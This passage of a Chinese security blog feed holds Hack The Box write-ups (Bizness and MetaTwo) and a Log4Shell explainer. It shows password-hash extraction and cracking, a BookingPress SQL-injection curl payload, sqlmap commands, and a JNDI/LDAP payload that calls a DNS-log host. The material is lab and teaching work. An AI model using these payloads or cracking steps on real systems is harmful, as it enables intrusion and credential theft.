3
4
5
6
OFBIZ               |USER_LOGIN                    |                    
OFBIZ |USER_LOGIN_HISTORY |
OFBIZ |USER_LOGIN_PASSWORD_HISTORY |
OFBIZ |USER_LOGIN_SECURITY_GROUP |
OFBIZ |USER_LOGIN_SECURITY_QUESTION |
OFBIZ |USER_LOGIN_SESSION |
1
SELECT * FROM OFBIZ.USER_LOGIN;
1
SELECT USER_LOGIN_ID,CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;

结果如下:

1
2
3
4
5
6
7
8
9
ij> SELECT USER_LOGIN_ID, CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;

USER_LOGIN_ID | CURRENT_PASSWORD
-----------------------------------------------------
system | NULL
anonymous | NULL
admin | $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

3 rows selected

分析源码 反向解码

此处密码存储格式很奇怪,不能用传统的john或者Hashcat直接破解。

机器上存在源码,查看哈希算法源码。

1
/opt/ofbiz/framework/base/src/main/java/org/apache/ofbiz/base/crypto/HashCrypt.java

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
cat HashCrypt.java 
/*******************************************************************************
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*******************************************************************************/
package org.apache.ofbiz.base.crypto;

import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.util.Arrays;

import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.binary.Hex;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.ofbiz.base.util.Debug;
import org.apache.ofbiz.base.util.GeneralRuntimeException;
import org.apache.ofbiz.base.util.StringUtil;
import org.apache.ofbiz.base.util.UtilIO;
import org.apache.ofbiz.base.util.UtilProperties;
import org.apache.ofbiz.base.util.UtilValidate;

/**
* Utility class for doing SHA-1/PBKDF2 One-Way Hash Encryption
*
*/
public class HashCrypt {

public static final String module = HashCrypt.class.getName();
public static final String CRYPT_CHAR_SET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./";

private static final String PBKDF2_SHA1 ="PBKDF2-SHA1";
private static final String PBKDF2_SHA256 ="PBKDF2-SHA256";
private static final String PBKDF2_SHA384 ="PBKDF2-SHA384";
private static final String PBKDF2_SHA512 ="PBKDF2-SHA512";
private static final int PBKDF2_ITERATIONS = UtilProperties.getPropertyAsInteger("security.properties", "password.encrypt.pbkdf2.iterations", 10000);

public static MessageDigest getMessageDigest(String type) {
try {
return MessageDigest.getInstance(type);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Could not load digestor(" + type + ")", e);
}
}

public static boolean comparePassword(String crypted, String defaultCrypt, String password) {
if (crypted.startsWith("{PBKDF2")) {
return doComparePbkdf2(crypted, password);
} else if (crypted.startsWith("{")) {
return doCompareTypePrefix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
} else if (crypted.startsWith("$")) {
return doComparePosix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
} else {
return doCompareBare(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
}
}

private static boolean doCompareTypePrefix(String crypted, String defaultCrypt, byte[] bytes) {
int typeEnd = crypted.indexOf("}");
String hashType = crypted.substring(1, typeEnd);
String hashed = crypted.substring(typeEnd + 1);
MessageDigest messagedigest = getMessageDigest(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
char[] digestChars = Hex.encodeHex(digestBytes);
String checkCrypted = new String(digestChars);
if (hashed.equals(checkCrypted)) {
return true;
}
// This next block should be removed when all {prefix}oldFunnyHex are fixed.
if (hashed.equals(oldFunnyHex(digestBytes))) {
Debug.logWarning("Warning: detected oldFunnyHex password prefixed with a hashType; this is not valid, please update the value in the database with ({%s}%s)", module, hashType, checkCrypted);
return true;
}
return false;
}

private static boolean doComparePosix(String crypted, String defaultCrypt, byte[] bytes) {
int typeEnd = crypted.indexOf("$", 1);
int saltEnd = crypted.indexOf("$", typeEnd + 1);
String hashType = crypted.substring(1, typeEnd);
String salt = crypted.substring(typeEnd + 1, saltEnd);
String hashed = crypted.substring(saltEnd + 1);
return hashed.equals(getCryptedBytes(hashType, salt, bytes));
}

private static boolean doCompareBare(String crypted, String defaultCrypt, byte[] bytes) {
String hashType = defaultCrypt;
String hashed = crypted;
MessageDigest messagedigest = getMessageDigest(hashType);
messagedigest.update(bytes);
return hashed.equals(oldFunnyHex(messagedigest.digest()));
}

/*
* @deprecated use cryptBytes(hashType, salt, password); eventually, use
* cryptUTF8(hashType, salt, password) after all existing installs are
* salt-based. If the call-site of cryptPassword is just used to create a *new*
* value, then you can switch to cryptUTF8 directly.
*/
@Deprecated
public static String cryptPassword(String hashType, String salt, String password) {
if (hashType.startsWith("PBKDF2")) {
return password != null ? pbkdf2HashCrypt(hashType, salt, password) : null;
}
return password != null ? cryptBytes(hashType, salt, password.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptUTF8(String hashType, String salt, String value) {
if (hashType.startsWith("PBKDF2")) {
return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
}
return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptValue(String hashType, String salt, String value) {
if (hashType.startsWith("PBKDF2")) {
return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
}
return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}

private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}

public static String pbkdf2HashCrypt(String hashType, String salt, String value){
char[] chars = value.toCharArray();
if (UtilValidate.isEmpty(salt)) {
salt = getSalt();
}
try {
PBEKeySpec spec = new PBEKeySpec(chars, salt.getBytes(UtilIO.getUtf8()), PBKDF2_ITERATIONS, 64 * 4);
SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
byte[] hash = Base64.encodeBase64(skf.generateSecret(spec).getEncoded());
String pbkdf2Type = null;
switch (hashType) {
case "PBKDF2WithHmacSHA1":
pbkdf2Type = PBKDF2_SHA1;
break;
case "PBKDF2WithHmacSHA256":
pbkdf2Type = PBKDF2_SHA256;
break;
case "PBKDF2WithHmacSHA384":
pbkdf2Type = PBKDF2_SHA384;
break;
case "PBKDF2WithHmacSHA512":
pbkdf2Type = PBKDF2_SHA512;
break;
default:
pbkdf2Type = PBKDF2_SHA1;
}
StringBuilder sb = new StringBuilder();
sb.append("{").append(pbkdf2Type).append("}");
sb.append(PBKDF2_ITERATIONS).append("$");
sb.append(org.apache.ofbiz.base.util.Base64.base64Encode(salt)).append("$");
sb.append(new String(hash));
return sb.toString();
} catch (InvalidKeySpecException e) {
throw new GeneralRuntimeException("Error while creating SecretKey", e);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
}
}

public static boolean doComparePbkdf2(String crypted, String password){
try {
int typeEnd = crypted.indexOf("}");
String hashType = crypted.substring(1, typeEnd);
String[] parts = crypted.split("\\$");
int iterations = Integer.parseInt(parts[0].substring(typeEnd+1));
byte[] salt = org.apache.ofbiz.base.util.Base64.base64Decode(parts[1]).getBytes(UtilIO.getUtf8());
byte[] hash = Base64.decodeBase64(parts[2].getBytes(UtilIO.getUtf8()));

PBEKeySpec spec = new PBEKeySpec(password.toCharArray(), salt, iterations, hash.length * 8);
switch (hashType.substring(hashType.indexOf("-")+1)) {
case "SHA256":
hashType = "PBKDF2WithHmacSHA256";
break;
case "SHA384":
hashType = "PBKDF2WithHmacSHA384";
break;
case "SHA512":
hashType = "PBKDF2WithHmacSHA512";
break;
default:
hashType = "PBKDF2WithHmacSHA1";
}
SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
byte[] testHash = skf.generateSecret(spec).getEncoded();
int diff = hash.length ^ testHash.length;

for (int i = 0; i < hash.length && i < testHash.length; i++) {
diff |= hash[i] ^ testHash[i];
}

return diff == 0;
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
} catch (InvalidKeySpecException e) {
throw new GeneralRuntimeException("Error while creating SecretKey", e);
}
}

private static String getSalt() {
try {
SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
byte[] salt = new byte[16];
sr.nextBytes(salt);
return Arrays.toString(salt);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while creating salt", e);
}
}

public static String digestHash(String hashType, String code, String str) {
if (str == null) {
return null;
}
byte[] codeBytes;
try {
if (code == null) {
codeBytes = str.getBytes(UtilIO.getUtf8());
} else {
codeBytes = str.getBytes(code);
}
} catch (UnsupportedEncodingException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
return digestHash(hashType, codeBytes);
}

public static String digestHash(String hashType, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
char[] digestChars = Hex.encodeHex(digestBytes);

StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(digestChars, 0, digestChars.length);
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}

public static String digestHash64(String hashType, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();

StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.'));
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}

/**
* @deprecated use cryptPassword
*/
@Deprecated
public static String getHashTypeFromPrefix(String hashString) {
if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
return null;
}

return hashString.substring(1, hashString.indexOf('}'));
}

/**
* @deprecated use cryptPassword
*/
@Deprecated
public static String removeHashTypePrefix(String hashString) {
if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
return hashString;
}

return hashString.substring(hashString.indexOf('}') + 1);
}

/**
* @deprecated use digestHashOldFunnyHex(hashType, str)
*/
@Deprecated
public static String getDigestHashOldFunnyHexEncode(String str, String hashType) {
return digestHashOldFunnyHex(hashType, str);
}

public static String digestHashOldFunnyHex(String hashType, String str) {
if (UtilValidate.isEmpty(hashType)) {
hashType = "SHA";
}
if (str == null) {
return null;
}
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
byte[] strBytes = str.getBytes(UtilIO.getUtf8());

messagedigest.update(strBytes);
return oldFunnyHex(messagedigest.digest());
} catch (Exception e) {
Debug.logError(e, "Error while computing hash of type " + hashType, module);
}
return str;
}

// This next block should be removed when all {prefix}oldFunnyHex are fixed.
private static String oldFunnyHex(byte[] bytes) {
int k = 0;
char[] digestChars = new char[bytes.length * 2];
for (byte b : bytes) {
int i1 = b;

if (i1 < 0) {
i1 = 127 + i1 * -1;
}
StringUtil.encodeInt(i1, k, digestChars);
k += 2;
}
return new String(digestChars);
}
}

根据源码的编码方式,进行反向解码:

1
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

Therefore, we know that the hashType is SHA , the salt is a single letter d , and the rest
(uP0_QaVBpDWFeo8-dRzDqRwXQ2I ) are the hashed bytes.

So, we now know that the characters are Base64-encoded, but without padding, and with + and
/ characters replaced by - and _ , respectively.

解码得到hex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64

# Base64URL-encoded hash
base64url_encoded = "uP0_QaVBpDWFeo8-dRzDqRwXQ2I"

# Step 1: Replace URL-safe characters
base64_encoded = base64url_encoded.replace('-', '+').replace('_', '/')
print("Base64 Encoded:", base64_encoded)

# Step 2: Add padding if necessary
while len(base64_encoded) % 4 != 0:
base64_encoded += '='
print("Base64 Encoded with Padding:", base64_encoded)

# Step 3: Decode the Base64 string
decoded_bytes = base64.b64decode(base64_encoded)
print("Decoded Bytes:", decoded_bytes)

# Step 4: Convert bytes to hex
hex_string = decoded_bytes.hex()
print("Hex Representation:", hex_string)
1
b8fd3f41a541a435857a8f3e751cc3a91c174362

破解密码

注意加盐d,其中参数-m 120:指定哈希类型为 SHA-1 加盐

hash.txt

1
b8fd3f41a541a435857a8f3e751cc3a91c174362:d

运行hashcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# hashcat -m 120 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: cpu--0x000, 1437/2939 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs

b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
Time.Started.....: Sun Sep 15 23:24:42 2024 (1 sec)
Time.Estimated...: Sun Sep 15 23:24:43 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4712.6 kH/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1478656/14344385 (10.31%)
Rejected.........: 0/1478656 (0.00%)
Restore.Point....: 1478144/14344385 (10.30%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: monky1994 -> monkey-moo
Hardware.Mon.#1..: Util: 71%

Started: Sun Sep 15 23:24:41 2024
Stopped: Sun Sep 15 23:24:44 2024

爆破成功:b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

获得破解后的密码:monkeybizness

su root

输入此密码获得root.txt

结束!

遇到的问题

下载文件时提示磁盘已满。在VM中扩容20G。进入kali, 打开工具。

先关闭linux-swap,右键swap-off.

将unallocated扩充到linux-swap上,再将linux-swap扩容到/dev/即可。

gparted

运行hashcat,提示* Device #1: Not enough allocatable device memory for this attack.

修改kali-VM的内存为4G,再运行hashcat即可。

对于已经爆破成功的文件:第二次只用show参数即可,不需要重复多次爆破。

1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# hashcat -m 120 --show hash.txt
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness
]]>
+ + + + + <h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre + + + + + + + + + +
+ + + Log4jShell事件 + + http://h4m5t.github.io/2024/09/14/log4j/ + 2024-09-14T08:09:03.000Z + 2024-09-24T05:05:42.000Z + + 简介

Log4j 漏洞又称“Log4Shell”,是 2021 年 11 月在 Apache Log4j 日志库中发现的一个严重漏洞。Apache log4j 是一个开源的基于 Java 的日志框架,它允许开发人员将 Log4J 库插入到自己的应用程序中,而无需编写专用的日志记录器。这种便利性是 Log4J 被广泛使用的原因。它被广泛用于大量商业软件中,例如 Steam 和 Apple iCloud。它还被广泛用于其他网站框架基础,例如 Elasticsearch、Kafka 等。
Log4Shell 是 Apache Log4J 2.14.1 及更早版本中的远程代码执行 (RCE) 漏洞,其常见漏洞披露标识符为 CVE-2021-44228。Log4j 漏洞是互联网历史上最具破坏性的漏洞之一。
根据IBM官方威胁情报记录,Log4j漏洞导致2021年12月全球网络攻击数量激增。
研究人员认为,Log4Shell是一个“灾难性”的0 Day漏洞,因为Log4J是全球部署最广泛的开源程序之一,而且该漏洞不需要特殊权限或身份验证,很容易被黑客利用。
美国网络安全和基础设施安全局(CISA)局长Jen Easterly在接受媒体采访时表示,这是她职业生涯中见过的最严重的事件。她还表示,CISA正在积极与公共和私营部门的合作伙伴合作,解决影响包含Log4j软件库的产品的关键漏洞。

受影响版本:

1
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed.

Incident Timeline

缓解措施

Log4j漏洞,也称为 **Log4Shell (CVE-2021-44228)**,是一个严重的远程代码执行(RCE)漏洞,影响了 Apache Log4j 2 版本。这一漏洞允许攻击者通过向日志记录输入恶意的JNDI(Java Naming and Directory Interface)查找字符串,触发服务器下载和执行恶意代码。

为了防止该漏洞的利用,以下是一些缓解措施和修复步骤。

升级 Log4j 版本

这是最有效的解决方案。Apache 官方已经发布了修复版本,建议尽快升级到2.15以上版本

禁用 JNDI 功能

如果暂时无法升级 Log4j,可以通过禁用 JNDI 功能来缓解漏洞。

修改 Log4j 配置:

  • 禁用 JNDI 查找功能:可以通过系统属性来禁用 JNDI 查找。

在 JVM 启动时添加以下系统属性:

1
-Dlog4j2.formatMsgNoLookups=true

这将禁用日志事件中对 ${jndi:} 查找的解析。

注意:该方法适用于 Log4j 2.10 至 2.14.1 的版本。对于 Log4j 2.15.0 及以上版本,这个选项默认被启用,但最好还是尽快升级到最新版本。

移除 JndiLookup 类

对于无法及时升级的情况,还可以通过移除 JndiLookup 类来减轻漏洞影响。

  1. 找到 Log4j jar 文件。

  2. 使用以下命令移除 JndiLookup 类:

    1
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这会从 log4j-core jar 文件中删除该类,从而禁用 JNDI 查找。

外出网络流量限制

虽然这并不能完全修复漏洞,但可以通过限制外部网络访问和加强防火墙规则来减少被攻击的风险。

  • 禁用对外部 LDAP 和 RMI 服务的访问:JNDI 查找功能依赖于外部 LDAP 和 RMI 服务,限制这些访问可以减少漏洞被利用的机会。
  • 在防火墙或网络层面上,阻止访问 LDAP(端口 389、636)RMI(端口 1099)

配置WAF规则

  • **使用 Web 应用防火墙 (WAF)**:可以配置 WAF 规则,阻止带有 ${jndi:${ctx: 等可能利用 Log4j 的字符串请求。
  • 容器化环境修复:如果你的应用运行在容器环境中,确保基础镜像已经升级到不受漏洞影响的版本。

总结

  • 最佳解决方案:升级到 Log4j 2.15或更高版本。
  • 短期缓解措施:通过 -Dlog4j2.formatMsgNoLookups=true 禁用 JNDI 查找功能,或者移除 JndiLookup 类。
  • 其他防御措施:加强网络限制、监控日志中的可疑活动,使用防火墙规则限制外部 LDAP/RMI 请求。

扫描漏洞

https://github.com/fullhunt/log4j-scan

https://github.com/cisagov/log4j-scanner

https://github.com/proferosec/log4jScanner

需要指定一个DNS callback服务器。比如dnslog.cn

漏洞复现

通过使用了这个库的应用来复现这个漏洞,比如Apache Solr。

通过vulhub提供的镜像,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

1
2
cd vulhub-master/log4j/CVE-2021-44228
docker compose up -d

服务启动后,访问http://localhost:8983即可查看到Apache Solr的后台页面。

Poc:

1
http://localhost:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.bf5c23cc.log.dnslog.biz.}

https://dnslog.org/ 中看到DNS解析纪录中,返回了java版本。漏洞复现成功。

dnslog

也可使用Marshalsec进行LDAP,RMI漏洞利用。

参考

https://github.com/pentesterland/Log4Shell

https://www.51cto.com/article/714872.html

https://www.youtube.com/watch?v=XC3Oqn_yADk

https://www.youtube.com/watch?v=Opqgwn8TdlM

https://www.youtube.com/watch?v=7qoPDq41xhQ

遇到的问题

docker问题

vulhub提供的都是amd的docker镜像,在arm的linux虚拟机里跑不起来。用https://github.com/vulhub/vulhub/issues/478 用的解决方法也未成功。

于是在Mac上启动docker, Use Rosetta for x86_64/amd64 emulation on Apple Silicon.

JNDInjector

本来准备用JNDInjector这个工具,但是运行报错,在官网下载JavaFX的aarch64架构的JDK,下载后发现java版本不匹配。升级java:

访问Azul Zulu的下载页面: https://www.azul.com/downloads/?package=jdk#zulu

选择Java 17 (LTS)版本,下载dmg并安装。

验证是否安装成功

1
/usr/libexec/java_home -V

添加环境变量

1
echo 'export JAVA_HOME=$(/usr/libexec/java_home -v 17)' >> ~/.zshrc

查看版本

1
2
3
4
java --version
openjdk 17.0.12 2024-07-16 LTS
OpenJDK Runtime Environment Zulu17.52+17-CA (build 17.0.12+7-LTS)
OpenJDK 64-Bit Server VM Zulu17.52+17-CA (build 17.0.12+7-LTS, mixed mode, sharing)
1
java -verbose:class --module-path ./javafx-sdk-21.0.4/lib --add-modules javafx.controls,javafx.fxml -jar JNDInjector.jar

还是跑不起来,暂时作罢。

Latex Test

$\sum_{i=0}^n i^2 = \frac{(n^2+n)(2n+1)}{6}$

$$
\left.x^2\right\rvert_3^5 = 5^2-3^2
$$

]]>
+ + + + + <h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>Log4j 漏洞又称“Log4Shell”,是 2021 年 11 月在 Apache Log4j 日志库中发现的一个严重漏洞。Apache + + + + + + + + + +
+ + + HTB_MetaTwo + + http://h4m5t.github.io/2024/09/11/HTB_MetaTwo/ + 2024-09-11T15:24:03.000Z + 2024-09-24T05:05:42.000Z + + 信息收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# nmap -sV $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 14:53 AEST
Stats: 0:02:29 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 14:57 (0:01:15 remaining)
Nmap scan report for 10.129.231.241
Host is up (0.0093s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.02 seconds

If we go to http://$IP, we are redirected to http://metapress.htb, so we need to add this domain in /etc/hosts

1
2
vim /etc/host
$IP metapress.htb

使用浏览器插件Wappalyzer检查wordpress版本,php版本。

1
2
WordPress 5.6.2
PHP 8.0.24

SQL注入

进入到网站event目录下,检查源码发现bookingpress plugin版本是1.0.10,存在漏洞CVE-2022-0739

在网页源码中找到字段_wpnonce对应的值1d0870781e,使用https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357/ POC进行探测。

1
2
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

返回结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sun, 15 Sep 2024 05:25:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin

[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]

此结果说明确实存在Sql注入漏洞。

方法1

使用sqlmap

1
2
3
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data 
"action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&catego
ry_id=123&total_service=111" -p total_service --level=5 --risk=3 --dbs

扫描结果:

1
2
3
4
5
6
7
8
9
10
11
[15:30:38] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.24, Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:30:38] [INFO] fetching database names
available databases [2]:
[*] blog
[*] information_schema

[15:30:38] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

[*] ending @ 15:30:38 /2024-09-15/

继续:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog --tables
___
__H__
___ ___["]_____ ___ ___ {1.8.8#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

